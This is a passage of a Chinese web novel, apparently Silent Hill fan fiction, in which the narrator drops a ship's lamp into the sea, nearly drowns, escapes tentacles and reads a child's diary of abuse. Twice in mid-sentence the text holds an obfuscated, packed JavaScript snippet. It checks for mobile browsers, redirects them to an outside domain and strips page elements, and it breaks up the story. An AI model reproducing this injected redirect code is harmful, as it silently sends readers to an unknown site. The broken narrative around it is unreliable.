“我没见过什么带着三角头盔的人,如果像你说的他是一个类似于审判者的存在,我怎么从没遇到过他?我和你不一样,手上有人命,他肯定更喜欢我。”尤克斯说:“他对你存在极大的敌意甚至企图杀死你……那你或许得想一想,是不是自己也存在自毁侵向……” “不可能。”我立刻反驳。自毁侵向?真可笑,我非常爱惜自己,就连流一滴血都要心疼自己好久。但他说的有道理,或许三角头是我阴暗面的构成。 一个人会存在很多面,有时候最阴暗的记忆往往藏在深处,但有时候也有大张旗鼓地摆在明面上。也许我在里世界里好好搜索一番,就能找到曾经逝去的记忆。 我是这样打算的,但是尤克斯明显与我的想法相悖。在他看来,里世界危险非常,随时都会丧命。别看他该吃吃该喝喝,一副无所谓的模样,半点紧迫感也没有,实际上早就乱了套了,正因为乱了套不知道如何是好,所以才干脆平躺,随波逐流。 里世界很危险,这点我赞同,但我必须要找到过去的记忆,这是我来到寂静岭的唯一目的。 26. 第 26 章 我绕到驾驶位的前端,驾驶椅和转向舵之间有一道非常可观的空间。我猜想驾驶时是站着手握转向舵操控船只方向,然后站累了就坐在驾驶椅上休息……当然只是我的猜测而已,毕竟我一直待在远离海洋的内陆,对船只的了解仅仅来自于博物馆。 更何况这艘船也有很多令人匪夷所思的构造,比如这艘船是一艘无动力的风帆,简而言之是靠风吹动帆船航行,收起船帆时就随波逐流,但转向舵却处在远离船帆的驾驶室,与船帆之间也没有任何的连接物,同时船帆的上下左右也没有任何用来转向的东西。 这艘船就像一艘模型,一艘劣质的、消遣用的,根本没有想过要用于实践的模型。 我对船长一直并没有过多的留意,只是通过简略的观察记住了他的长相特征——眼睛很漂亮以及浑身上下都裹着绷带,仅此而已。而这一次,我又发现了一些新的东西,他的腿上盖着一层类似于毯子的东西,毯子的末端搭在地板上。 毯子的材质看上去是羊毛的,很暖和,他难道很冷吗? 这个世界的温度还挺适宜,虽然确实有点凉飕飕,但也许因为我没有触碰海水,皮肤和衣服都是干燥的,对于现在是湿冷环境姑且能够忍耐。 当然,最重要的是…… 我眼睛一眨不眨地盯着船长,想从他身上瞧出一丝半点属于我的痕迹。他既然是我的心理世界构建出来的,肯定有我的影子在。 可惜没有。我没能从他的身上看出任何属于我的烙印在,长相、性别,无论哪一项都搭不上边。 [怎么了?]他问我。 我移开视线,“想问你关于月亮的事情,月亮在海里,海里的月亮在天上是什么意思?” “还有,这里似乎并没有月亮。”我指向天空,“不仅月亮,星星也没有,甚至没有白天黑夜,就像……” 没有太阳一样,月亮和星星依附太阳,没有了阳光,月光和星光自然也不存在。 [月亮不一定指月亮。] 我不解,什么意思。 他继续写道:[去找最亮的地方。] . “最亮的地方?”我自言自语,手抵着下巴一边思考一边慢悠悠地走下楼梯。 我的影子落在甲板上被拉的很长,手脚纤细又长的可怕,就像一个可怕的瘦长鬼影。我盯着自己的影子看了好一会,突然宛如一道电光闪过。 影子! 我抬头看向那盏几乎与桅杆同样高度的照明灯,下方支撑的桅杆是黑色的,几乎和黑夜融为一体。一眼看过去,照明灯像是悬在空中,就像一轮劣质的圆月亮。 最亮的地方——照明灯。月亮不一定指月亮,带给人月亮错觉的东西也行。但月亮在海里,海里的月亮在天上是什么意思。 ……既然想不明白就别想了,先把照明灯取下来再说。 我顺着悬梯爬上瞭望台,从下面看照明灯和瞭望台距离并不远,而且之前我爬上瞭望台的时候,记得照明灯就在旁边,好像伸手就能拿到。 可当我再次爬上瞭望台的时候,发现两者之间确实很近。可惜我的胳膊太短,使出吃奶的力气将身体朝瞭望台外面身,哪怕都要掉下去了,最长的中指也只能堪堪碰到灯罩子,把灯戳地左右晃动一下而已,幅度小的几乎没有。 得找一个胳膊更长一点的。我想到了尤克斯,他个子比我高,手也肯定比我长。 如果是他的话,一定可以将照明灯完好无损的取下来。 于是我开始在船上到处找他。 尤克斯真能藏,他又躲到底下的船舱里了。我找到他的时候,他正在一堆不知道什么东西里面左翻右找。 我喊他:“尤克斯。” 他浑身僵硬了一瞬,转身看到我后才松了口气,“吓死我了。” 我说:“你在干什么?” 他继续低头翻东西,“我刚才看到有东西跑进去了,好像是老鼠。” 老鼠?这种四面环海的破船上有老鼠?如果是真的,那它是怎么活下来的。船舱里确实有吃的,但都不是正常东西,尤克斯只吃了一点,目前看来没什么大问题,不清楚有没有什么副作用。希望没有,否则我可没精力照顾他。 我发现他翻找的是一个被扔在角落里的破柜子,柜门和抽屉全被打开,里面一览无余。我被一本精装书吸引了注意力,封面画着一座雪山,表面还有星星点点的反光用来模拟雪花。 翻开这本书,我发现这其实是一本日记本,第一页被撕掉了,字迹歪歪扭扭,像是小孩子的。 . 7月2日晴 这是我第一次写日记,偷偷写的,绝对不能被发现。哥哥告诉我日记不仅要写日期还有天气,可是我根本不知道天气是怎样的,只能胡编乱造一个。我喜欢太阳,不喜欢阴雨大雾天,就写晴天吧。 …… 7月18日晴 按照叔叔的要求我杀了一只老鼠,超级大的老鼠,头上带着密封袋,死了以后四肢软绵绵的瘫在地上,像是面条。叔叔为什么要求我干这种事情,我不喜欢。我不喜欢老鼠,也不喜欢虫子,更不喜欢叔叔,在这里的每一件事都不会喜欢……除了哥哥。 他偷偷给我带了玩具和零食,还教我些不会的字,这漂亮的折纸,明明只比我大四岁,却什么都知道,真厉害。 …… 7月20日晴 哥哥不在 7月21日晴 哥哥不在 7月22日晴 哥哥不在 7月23日晴 哥哥又来看我了。真好,最喜欢哥哥,希望和哥哥一辈子在一起。 . 我随意扫了几眼,内容大多幼稚可笑,天真烂漫。不仅如此,我猜日记主人绝对是个兄控,除了哥哥就是哥哥,简直就是一个没断奶的小屁孩。厚厚的一本日记里几乎一半都和哥哥有关,就算是孺慕期的孩子也不至于到这种程度。 我将日记本扔到一边,开始说正事,“有件事需要你。” 他总算抬了个头,“什么?” “我需要麻烦你帮我把船上的照明灯取下来。” “干什么?” “月亮……” 尤克斯头发凌乱,原本一丝不苟搭在左眼上的长刘海都乱七加八糟的,杂毛乱翘,“你怎么还信那家伙的话?我都说了,里世界怪物说的话不能信。” “只是摘下来而已。”我试图劝说他,“再者,他是我世界里的怪物,无论出现任何问题都只会反噬到我一人身上,不是吗?” 尤克斯:“这我可不知道,但确实,倒霉的最先是你。” 他拒绝帮助我,但好在最终还是妥协了,在我的不懈努力下被说服了。 . 照明灯被放进手里的时候,我感受到灯罩炽热的温度,有点烫但并不是无法忍受。它并没有想象中的亮,明明悬挂在高处的时候能为整艘船提供光明,可当它安安静静瘫痪在我手里时,亮度似乎减了几分,一点也不刺眼,相反很柔和,好像真正的月光。 我举着灯对他说:“看吧,没事。” 尤克斯并没有为此放下警惕,而是双手环胸眯着眼睛看我。他的直觉是对的,我不会仅仅将它取下来就善罢甘休。 月亮在海里。 我走到船边,望向平静的海面。这是我目前为止第一次靠近船沿边,大海的压迫感令我喘不上气,看着海面,我竟然有一种跳下去的想法,甚至开始出现幻觉,冰冷的海水没过我的鼻腔,堵住耳朵只能听见嗡嗡的水声…… “呼——” 我大喘一口气,用力眨巴了几下眼睛,晃晃脑袋。 在灯光的作用下,我能够看清楚靠近船的一小片海域,海水看上去是黑的,像石油。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988180|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我捧着照明灯的两只手伸向船外,然后猛地松开—— 扑通!照明灯掉进了海里,溅出大片的浪花。 没了灯船上的光线顿时黯淡了不少,幸好我手里还举着煤油灯,能够为我们提供亮光。 “你在干什么?!”尤克斯喊道。 我没有回答,而是一眨不眨地盯着灯落下去的地方,在那里,海水表面自被重物抛下后的翻涌始终没有减退,反而越来越烈,就想沸腾了一般。 帆船也连带着左右摇晃,沸腾的冰冷海水涌上甲板沾湿我的裤腿。我连忙后退,刚走几步就被尤克斯一把揪住后领。 “你到底干了什么好事?”他又惊又怒。 我说:“我想尝试一下。” “尝试……我的天哪。”他抬手想捏眉心,但船身摇晃地太剧烈,刚抬了一半的时手只能放下去找可以扶着的地方来保持平衡。 甲板上的海水越来越多,多亏了它们,我的裤腿全被打湿,暂别许久的寒意终于来了,我好像被塞进了一块冰里。 “这里全是水。”我面朝向楼上的驾驶室,“我们得上去。” “你总算做了一个对的决定。”尤克斯咬牙切齿。他离楼梯近,率先握着扶手爬了上去,然后是我。 我紧跟在他的后面,膝盖以下的部位在海水里只呆了不到一会,却已经冻僵了,脚趾仅仅是活动都很费劲,我几乎感受不到它们的存在。 越来越多的海水淹没甲板,水手们被不断涌上甲板的海水冲地站不住,有一些体重轻地甚至被海水卷走了。照这样的速度,这艘船很快就要沉了。这可不是我要的结果,我所期望的是离开的出口,而不是和一群恶心的腐尸水手沉入海底,况且我想要的答案甚至都没个头绪,我才不要一头雾水的去死。 我跑向驾驶位,双手搭在驾驶位两侧的扶手上,俯下身子凝视着船长浅褐色的眼睛:“究竟是怎么一回事?我按照你说的去做了,月亮在海里……可月亮现在已经在海里了,出口呢,出口在哪里?” “天上甚至到现在都没有月亮!”我指向天空质问道。 “天……”尤克斯崩溃般地摊开双臂,“该死的丽莎,我求求在这种时候不要在沉浸于你自己的世界了。你简直就是一个自恋狂!有问那个叫什么船长话的功夫还不如赶快想想自救的办法!” 我发了个手势示意他先别说话,尤克斯两手叉腰翻了个白眼。 面对我的心急如焚,船长倒是很平静,他在便签纸上写道:[我没有骗过你。一切都是正确的] 我问:“那为什么……” 突然,我听到一阵惊呼,那是尤克斯发出来的——一座滔天巨浪拔地而起,排山倒海般朝我们拍了过来。我根本没有地方躲,冰凉的海水浸透了我的全身上下,连同头发、衣服……我被拍地站不住脚,就要冲进大海里的时候,船长一把拉住了我的胳膊,然后朝自己的方向拽去。 我大脑还在发懵,直到额头抵上他颈窝处绷带的粗糙感时才意识到发生了什么。 尤克斯早就被拍飞了,他的身影一闪而过,眼睛里就迷进了海水,我条件反射性地闭上眼睛。 黑暗中我什么也看不见,只找到海水涌进封闭的鼻腔还有耳道,只能听见咕噜咕噜的水声,幸好我在被海水彻底淹没一瞬间凭借自己的潜意识屏住呼吸,否则现在估计肺里面全都是水了。 我知道自己被紧紧拉着以至于不会被海水冲的到处乱跑,但我还是很紧张,因为失去了视觉以后对周围一切都失去了掌控。我强行睁开眼睛,可这次眼睛不再酸涩,反而视野清晰。 圆圆的照明灯与船身保持在同一水平线,缓慢下沉,船的四周还环绕着大量水手,一动不动,不知道究竟是死了还是绝望地放弃挣扎。 我的嘴唇惊恐地微微张开一条缝,冒出好几串细小的气泡。 船沉了,我们都被淹没在海里。 27. 第 27 章 我必须赶紧回到海面上去,不然呼吸不到空气我会被憋死的。现在我已经感觉喉咙发紧,肺部在渴求空气,但封闭的气管让它没能如愿。 时间已经不多了,我急需呼吸。 不作他想,我向上蹬,两只胳膊一左一右地划动。可我忘了自己是个旱鸭子,上一个世界还是在无脸人的帮助下才避免了被淹死的结局。忙活了老半天双脚只离开了几秒钟又重新踩在踏实的地板。 我愤愤地一跺脚,正在发愁,突然想到了坐在一旁的船长。在所有的一切都因为浮力漂浮的状态下,他仍然稳稳当当的坐在他那张没有刷漆的木制驾驶椅上。 瞧他游刃有余的样子,他肯定会游泳! 说不准能把我一起带上去。 这么想着我伸手拉他,可不但没拉动,反倒腰上的疼痛又被牵扯出来了,隐隐的刺刺的麻麻的,好难受。 船长把我拽着他胳膊轻轻推下去,然后掀开了盖在身上的毯子。他的腰部被一条生锈发红的铁链牢牢着,腿也是,被绑在前段时候的两条椅子腿上。 难怪坐在椅子上一动不动,原来是被绑住了。 要是平时我肯定不会管,毕竟自己逃命要紧,但现在我需要他的帮助,换而言之,我有求于他。 这就不一样了。 我俯下身子想为他解开铁链,却没想到铁链一圈又一圈,结实无比还没有头尾。它没有开始也没有结尾,就这样绑在船长的身上,像莫比乌斯环。 我焦头烂额,怎么也解不开。喉咙深处的紧迫感越来越严重……肺部终于承受不住压力,喉部无法控制地被挤开一条缝,海水涌了进来! 虽然只有一点,但气管在感受到异物后开始生理性地想要咳嗽。我双手紧紧捂住口鼻,拼劲全力憋住想要咳嗽的欲望。 大脑在叫嚣,无数中欲望交杂在一起令我崩溃。我的眼前开始出现大片的花白,就像夜空中的星星那样一闪一闪,身体也逐渐软了下去…… 船长伸手将我捂着脸的两手扒开,然后捧着我的脸贴了上来。是空气,我的大脑在说话。 不知过了多久,他缓慢的远离,捧着我脸庞的双手下移改为掐腰。他将我举了起来,用力向上一推—— 我的身体开始上浮,速度很快,船长、帆船以及照明灯越变越小,最后几乎成蚂蚁大小。 我浮出了水面,嘴巴长的极大,大量空气吸入,肺部被潮湿且冰冷的空气所填满,连带着我的身体也僵硬冰冷。 但不够……我还要更多…… 我睁开被水迷住的眼睛,结果被眼前的一幕震撼住。 在应该属于天空的位置,不再是一片漆黑什么也观望不到,而是变成了一片海。海水波涛汹涌,却半点水滴也没有落下来。 海在天上……那我所在的地方是什么?大脑变得混乱,世界好像颠倒了,不知道哪一边才是真实的。 就在天上的那片海里,我看到某个亮晶晶的东西,像是月亮…… 月亮?! 我伸长脖子目不转睛。 月亮在海里,海里的月亮在天上。我能回去了?!不对,我连忙低下头,只见在这片海里,也有一个隐隐约约的亮光点,我知道那是照明灯带来的。 那上面的是……? 身体突然失重,我从海里脱离出来,紧接着是下坠……我不知道究竟是下坠还是上飞,总而言之引力好像不复存在了。 天上的海越来越近,也越来越清晰,我看到了坐落在海面上方的一艘船—— 完好无损的帆船。 砰! 我狠狠砸在了船的甲板上,身体剧痛,像只煮熟的虾子蜷缩起身体。我抬起上半身,长湿漉漉的长发糊了一脸,我抹开头发。 海还是那片海,船还是那艘船,只是没有照明灯。我跌跌撞撞地爬起来跑到船边,腰部紧靠扶手探头看。 海是亮的,有灯光自下而上,我看到了那个亮光的源头。很小,但像太阳一样。我抬头,天上海里的那轮圆月小而可爱。 这时候,余光里船下好像有什么东西一闪而过。是好几个巨大的黑影,但又细又长,围绕着光亮源头扭动柔软的身躯。从外型上看可能是水草,但那也太大了,而且瞧它们摇晃的频率宛如有生命一样。 太诡异了。如果不小心掉下去的话,会被缠住拖进海底强行淹死吧。 摸了摸喉咙,呛水过后的后遗症还在,我的喉咙连着鼻腔的那一块隐隐作痛,无论是咳嗽还是吞咽都无法缓解。我讨厌水进入气管的感觉,好难受,那种濒临死亡的窒息真的好恶心。 我远离了船边。因为光亮不再想之前那样自上而下而是自下而上,而且源头来自于船底,光这儿玩意又不会拐弯,天上那月亮约等于没有,虽然我能看得见但无法给我提供任何视野上的帮助。船上黑漆麻乌,越靠中心的位置越暗,几乎是伸手不见五指。 但好在我的运气比较好,在抹黑抓瞎般找路的时候脚踢到了一个硬杠杠的东西,它咣当一声倒在地上,咕噜咕噜地沿着一条弧线转了一圈又回回到我的脚下。 我捡起来仔细一看,是煤油灯!可惜是灭的。我连忙从口袋里掏出捡来的火柴盒,取出一根在摩擦板上擦了半天,火柴暗红色的头都被快被擦秃了,一丁点火星子都看不到。 正纳闷,无意中瞥到自己湿漉漉的袖子,这才意识到火柴受潮了。 煤油灯点不亮岂不是和没用的装饰品没任何区别,我抱着煤油灯长叹一口气。不管怎么样,还是先找出去的路吧,就算看不清路我也可以摸着走。 我按照记忆中船上的布局,手掌心扶着刷有漆的凹凸不平墙面,一点点摸着走。 这应该是个船舱……但太小了,不是。 我又往前走,直到触碰到另一个触感熟悉的墙面,走了几步以后我的额头砰的一下撞到了冰凉的铁东西。幸好我走得慢,不疼。我撞到的好像是台阶一样,还有扶手……楼梯! 太好了,就是这里。我在周围摸索了一圈,终于找到了一扇门。在之前的船上,外露式船舱一层是没有任何门的,而在记忆中我是打开一扇门后离开了啤酒瓶船舱,然后才来到甲板上。 十有八九,我猜测门后应该是啤酒瓶船舱,进去以后就能找到回去的路了! 尤克斯不在。我咬了咬下唇,我确实该和他一起走才对,毕竟我们两个算得上是同行人,况且在外面的时候他救了我一命。 我看向远处船外散发着的无法忽视的光亮,多么耀眼,就像食人花在捕食前散步的暗香一样。海里有着我所爱的明亮,却危机四伏,随时能让我死在那里。 等待尤克斯和他一起的走的想法瞬间烟消云散。 尤克斯和我本来就不是从同一个入口挤进来的,进来的方式不同出去的方式也不同。不同人不同命,我先找到了出口是我的幸运。就算我要带着他,他不一定能和我一块离开,还带找自己的路。 既然如此,不要浪费时间了。 我按下把手打开了门,头也不回的走了进去。 刚走进去,我脚下就踢到了一个啤酒瓶。瓶子被我踢的滚远,碰到最近处的一个酒瓶后停下了。舱里的啤酒瓶几乎堆成了山,放眼望去极为壮观。 更重要的是,舱内很明亮,有光。两侧没有被啤酒瓶占据的墙壁上分别挂着煤油灯,我打开其中一个煤油灯的罩子,将我手上的灯点燃,然后放到了门外。这是我给予尤克斯最大的帮助了,希望他能用这盏灯照亮回去的路 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幸运的是天花板并不高,在手能够完全够到门以后,我迅速推开门,然后两手死死扣住门沿,两腿踩在摇摇欲坠的啤酒瓶山上用力一跳。在我上半身爬上去的时候,听到下方传开巨大的响声,啤酒瓶山又塌了。 塌就塌吧,想怎么塌就怎么塌! 换个说法,这不是天花板门应该是地窖门,没错这就是我之前为了躲避从画里喷涌而出的海水以及恶心的章鱼脚才跳进去的。 章鱼脚不在周围,地板上湿漉漉,看起来像海水经过但又退了潮。地板表面的水泥涂抹均匀几乎看不见气孔,沾了水后变得光滑,我一开始没有意识到这点结果差点摔了个大跟头。 我拍了拍脏掉的裤子和衣袖,从地上爬起来。 整个楼层都很空荡,我甚至能听见自己的脚步和呼吸回声,这和犯病时被孤独地关在病房里不一样,至少那时候能听见机器的滴滴声,护士小姐也会时不时进来查看我的情况。 很快我找到了电梯。 电梯周围的水渍是最严重的,别的地方都干的差不多了,这里还留有大片的水洼。经过观察发现是因为电梯附近的地面似乎有点问题,凹凸不平,这才导致水洼的出现。 内壁挂着的画还在那里,连位置也没有变动过。我凑近看,油画中央的小亮点圆圆的,是用毛笔沾着颜料点上去的,画的很粗糙,我猜作者因为它体积小,绘画的时候并没有上心。 怎么能不上心呢,明明这个小点才是整幅画的主心骨。 本该通往底下的地窖门一打开,既然是来时的啤酒瓶船舱。电梯也用不了,我也不知道为什么用不了,按键像是摆设一样,没有反应。 我和尤克斯本来的路线就是从地窖走,如果乘电梯上楼岂不是原路返回,况且公寓里还有好多奇奇怪怪的怪物,我只顾着速度没有处理它们,还让小狗也无视掉,如果原路返回绝对会碰上…… 对了,小狗! 我怎么忘掉了最重要的事情,自从我回到这里后一直没有看到小狗的身影。它鼻子灵敏,只要我一出现就能定位到我的位置。 我还在里世界,这就麻烦了。我低头焦虑地咬拇指指甲,记忆里我就是从地窖去往大海和帆船的世界。确实,印象里当是在这层楼的时候小狗和尤克斯是一起消失的。尤克斯消失是因为他进入了里世界,而小狗的消失说明当时我也进入里世界了,可我究竟是怎样进来的,到底用怎样的方式?我真的一头雾水。 这次和以往不一样,之前我目标明确,找到红门就能找到出路,可现在既不是红门也不是紫门,就像空间自己撕开裂口,我踏空掉进去一样。 我重新将注意力放回画上面,眯着眼睛观察了一会,然后伸手取了下来。 28. 第 28 章 这就是一个再普通不过的油画而已。画框是木质的,背部长满了大大小小的霉点,圆圆小小,密集的排列在一起。我的密集恐惧正都要犯了。 回到正面,画上的笔触以及画布的纹理都清晰可见。摸上去的时候指腹下传来粗糙的摩擦感,而且油画还能闻到一股奇怪的臭味。我从未涉及过绘画领域,但是听一位画家病友说,油画上颜料的味道会随着时间流逝消失,如果放置了很长一段时间味道仍然在的话,极有可能是储存方式不当。 我看了看画框背后的霉斑。好吧,呆在不该出现水的电梯里还能发霉到这种程度,我真的不知道该做出什么反应。 画像没什么问题,更何况我被刺鼻的味道折磨的实在受不了了,我把画挂了回去。 入口不是这幅画,那该在哪里?我手叉着腰无奈地叹了一口气。 该死的寂静岭,我承认寂静岭确实对我有诱惑力,但我觉得我并没有到那种会进里世界的程度。总而言之,我其实算是个正常人,哪怕当年在精神病院里,我也是最正常的那一个,周围的病人不是神经兮兮就是每天哀伤悲秋。我神志永远清醒,除了有时候会因为自己也无法解释的原因被关起来。 既然找不到那就不要浪费时间在这里了,还不如回船里找一找有没有关于我记忆的线索。这么想着,我准备离开。 滴答。 我脚步一顿,疑惑地回头看。电梯里除了画以外没有其他的东西,我抬头看顶部,没有漏水的迹象。 也许是幻听...... 突然,我发现那副画中央的“月亮”似乎有些波动,像是涟漪一样的东西以它为中心向外扩散,看上去像是在水中投入了一颗石子。 我走上前小心翼翼地用指尖触碰画面...... 实物感。 我拧了拧眉毛,从口袋里掏出小刀就刺了上去。刀尖没入画布,后方没有任何阻遏,心中的猜想开始有了雏形。小刀将画布沿着对角线划开,然后我手抓着画布往两边用力一撕。 呲啦! 画布被我彻底撕开了,我看到隐藏在画布后面的既不是满是霉点的画框,也不是富有金属质感的电梯内壁,而是漆黑且深不见底的…… 我伸手触摸那片黑暗,手越过画框后什么也没有摸到。画框里面竟然还有空间!虽然在经历了这么多事以后,哪怕画里面跳出个三角头我也觉得很正常,但妨碍不了此时我惊讶的情绪。 会是回去的路吗? 说实在的我很想进去,但是大脑负责处理危险状况的区域告诉我不可以,我不可以去未知的地方。未知代表着死亡,未知代表着恐惧。画框内宛如宇宙那样的虚无,进入后不知道会遭遇什么又或者发生什么。 我唇瓣抿地很紧,在几分钟的纠结后,我决定赌一把。 但事实证明,赌,不是一个正确的选择也不是一个好习惯,因为你不知道自己究竟会中大奖还是血本无归。 没错,进入画框里后我一脚踩空紧接着开始下坠。不知道下坠了多久,我甚至感受不到自己在下坠,好像漂浮在空中,感受不到任何气流的波动。 但很快我就到达了尽头。 一开始是远处出现了个小白点,很小几乎可以忽略不计,但紧接着白点越变越大,逐渐膨胀到睁不开眼的地步。当然我自然而言的闭上了眼睛,毕竟那么高的亮度,要是一直盯着看岂不是要瞎了。 耳朵和鼻腔灌满了水,突如其来,我原本闭着眼睛两手捂脸企图抵御强烈光亮的攻击,谁知道因为失去了“看”的能力,我不知道前方有什么,差点呛了一大口水进肺里。 我睁开眼睛,刺眼的光让我的眼睛又眯了眯,但好在终于看清周围。我在海里,身边全是摇摆的触︱手样的东西。 触︱手.......这些不会是我之前站在船上往下瞧时所看到的像是水草一样的东西吧?当时我觉得它们是水草,是水蛇,是虫子,可偏偏没有考虑过触|手这类玩意。 它们浑身都是幽绿色,看似光滑的表面微微反着光......没错,看似,它们的表面实际上附着一层细细的绒毛,只有近距离才能发觉。绒毛使它们更像某种动物的肢体。 几乎是眼前一黑,早知道画框通向这鬼区域,我死都不会进去。可惜这个世界上没有回头药,我得想办法自救,趁着这些触︱手还没有发觉到我的存在,赶紧到海面回到船上,哪里才是安全的。 我两臂划水,刚游了几米左脚踝就被抓住了。是触︱手。我废了好大的努力才忍住没有叫出声,触︱手表面的不是我所认为的绒毛,反而非常坚硬就像倒刺一样,哪怕我穿着一条长裤也被扎的疼。 两腿费力踢了踢,触︱手却没那么好甩掉,仍然牢牢地攥着我。 就在我挣扎的时候,四周的其他触︱手也围了上来,有的抓我的手,有的抓我的有脚,然后一起把我往下深处拖。 我的肺活量有限,本来就不能在水下憋太长时间的气,更何况还耗费体力挣扎。我快死了。 亮光的源头近在咫尺,实在是太亮了,我只能窥见一点轮廓,看起来……好像是原本绑在桅杆上的照明灯。 我强撑着意识观察,发现所有的触手都围绕着它,层层叠叠地交错在一起。我还发现离它越近的触︱手越活跃,而那些离得远的,不说死气沉沉,总觉得活动的频率很低,几乎和死物差不多。 难道光对他们有影响?我用力挣脱出右手,用力拍了拍胸口,鼓起腮帮子朝照明灯游过去。 触︱手们很乐意靠近照明灯,因此在我靠过去的时候它们都没有阻拦,反而借着我接近照明灯。我摸到了灯罩,哪怕在水下也很热,这些触︱手好像喜欢光但不喜欢较热的温度,它们虽然围在照明灯的旁边,却不贴的很近,有一根随着水流飘动,一不小心碰到了灯罩子,瞬间就弹开了。 我朝照明灯游了过去。先是手,然后是脚,我将缠在上面的触手贴近灯罩,果不其然还没等碰到,它们就松开我躲到远处了。 手脚恢复了自由,我拉开外套的拉链,将照明灯抱紧怀里。外套里面只有一件单薄的衬衫,虽然灯罩的热度我能认识,但在冰冷的水里呆了这么久,突然碰到超越体表的温度,我不由得打了个颤。 照明灯被藏在衣服里,虽有光都消失了,什么都看不见。我能感觉到身边原本欢乐摇摆的触︱手在光消失的一瞬间僵在原地。 猜对了。 我一手搂着被包裹在衣服里的灯,另一只手拨开挡在前面的触︱手,快速向上游。 很快,我回到了海面上。 天呐,这次我憋了多久的气?脑袋晕晕的,是缺氧带来的后遗症。我一连吸了好几口空气,直到呼吸过度几乎窒息才停下。因为这里的海,我不仅学会了简单的游泳,还练成了无与伦比憋气。 我的潜能被无限激发,这是件好事但我不要,谁要用性命做代价来激发潜能,疯了吧。 海面上也是一片漆黑,我将照明灯从怀里取出来托举 举过头顶,光亮瞬间遍布四周,但只有一瞬,我又把它塞回怀里了。凭借刚才的一眼,我大致弄清楚了船的方位。很幸运轮船离我不远,像我这样刚学会游泳的家伙游过去也只需要几分钟而已。 我游到船边,摸索了一圈后总算找到了上去的路。我爬到船上,身体靠着栏杆只喘气。 太累了,几乎筋疲力竭。 尽管累了个半死,仍然不忘正事。我从怀里取出照明灯,在光亮出现后,平静的海面出现波动,无数根粗壮的触手冲了出来,它们的尖头对准我,像是沙虫一样张开大嘴朝我……不,应该是向我怀里的照明灯。 我将照明灯用力扔了出去,穿过站立在海中的触手,落进离船身不远的海面溅起大片水花。渗人的触手们瞬间僵住,然后调转方向去追照明灯了。 逃出生天我打心里松了口气,拍拍手朝船的中心走。 被放在啤酒瓶船舱门口的煤油灯还在那,尤克斯没有拿走。他为什么不拿走,难道他已经死在海里了吗,还是终于离开这里了?我不知道,但我更倾向于后者,虽然这会使我感到嫉妒。 我弯腰拿起了煤油灯。 明明船上有灯光那些触︱手却不来,我想有可能是光亮过于微弱,它们不屑一顾。 拥有了煤油灯我终于可以下船舱了。船舱和记忆中一模一样,连物品摆放的位置都没有变动……但多了一些东西。 在船舱一层摆放的那些箩筐里,被尤克斯吃剩的苹果没有了,取而代之的是一本日记本。从笔记上看,和之前的奇怪日记出自同一个小屁孩之手。 . 2月7日晴 哥哥带给我的毛绒玩偶被发现了,叔叔揍了他一顿,然后把玩偶扔了。我很生气,狠狠咬了叔叔一口。我发誓我第一次做这种事情,第一次反抗叔叔,在他的胳膊上咬了深深的一个牙印,和他鞭打在哥哥身上的伤痕颜色一模一样,又红又紫。 违抗叔叔是有代价的,代价就是被关禁闭。我讨厌禁闭室,除了一盏灯以外什么都没有,不仅要反思过错还得背书……嗯……背书算不上惩罚,我能学到更多的字还有知识,下一次能和哥哥聊更多东西……!!! 哥哥隔着禁闭室的窗户在向我招手!天知道他是怎么爬到那么高的位置上去的。 …… 2月9日晴 叔叔对我起了疑心,日记暂停吧,等危险警报结束后再继续。希望这段时间和哥哥的点点滴滴能够永远牢记在我的心里,当然我也不会忘。 …… 4月1日晴 警报结束,哈哈。不过为了预防万一,以后日记本里不可以出现任何人名地名,当然以前也没有出现过。这个习惯很好,保持住。 …… 4月12日晴 刚才抽了脊髓液,好长的一根针扎进腰里。全身都疼,随便写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叔叔突然暴怒。莫名其妙,我只是问了一个问题而已,结果他像被戳了心窝子一样暴怒不已,再次把我关进了禁闭室,让我好好反省。我反省个屁! . 日记里无非是无聊的生活记录,但在最后一页,是两幅奇怪的儿童画。我看了看,发现不能称之为儿童画,毕竟没有任何正常的小孩子会画出这么……恐怖的东西。 三幅画所在的纸张薄薄的,和日记本其他页都不一样,摸起来很劣质,倒是像监狱用的……至于为什么我会知道,病院里有一个蹲了很多年牢的病友,入院原因有很多种说法,有的人说他是一个天才科学家,但因为不得志且沉迷研究导致最后走火入魔,也有人说因为坐牢坐地太久无法适应时代变迁疯了,谁知道呢。 到现在我还记得他的名字,菲利朗弗。 他很古怪,在记忆里他不理任何人包括病友、护士和医生,唯独喜欢盯着我看,还天天抓着我念叨自己在监狱里的往事。 我真的很烦他,和护士反应了很多次也没有用。他不理会护士,一开始还会被警告,后来护士们发现他并没有攻击性,单纯的喜欢对着我啰嗦而已,于是就不管他了。 好在只折磨了我三个月他就死了,自︱杀的。 半夜从楼上跳下去,啪叽一声摔成肉泥。全程我旁观在左右,看得特别清楚。 两副画中其中两幅的主角都是头上围着红巾的火柴人。第一幅火柴人坐在天秤前,天秤的一端放着一根羽毛另一端的物品辨认不出是什么,只知道它比羽毛重地多,天秤全都往那一侧倾斜。 这是自然的,什么东西能比羽毛轻。 第二幅火柴人的红头巾被取下了,它的头上长着一对山羊角,看起来又大又沉。这幅画里的它躺在一张床上,床是由各式各样的骨头拼成,尖锐的骨头穿刺了它的身体,从肋骨的位置穿透出来,像是长在了一起。 莫名其妙,我将画丢回原位。两幅画笔触都十分稚嫩,我怀疑和写日记的出自同一人之手。我真的对作者很好奇,到底是怎么样的精神状态能创造出这些匪夷所思的作品。 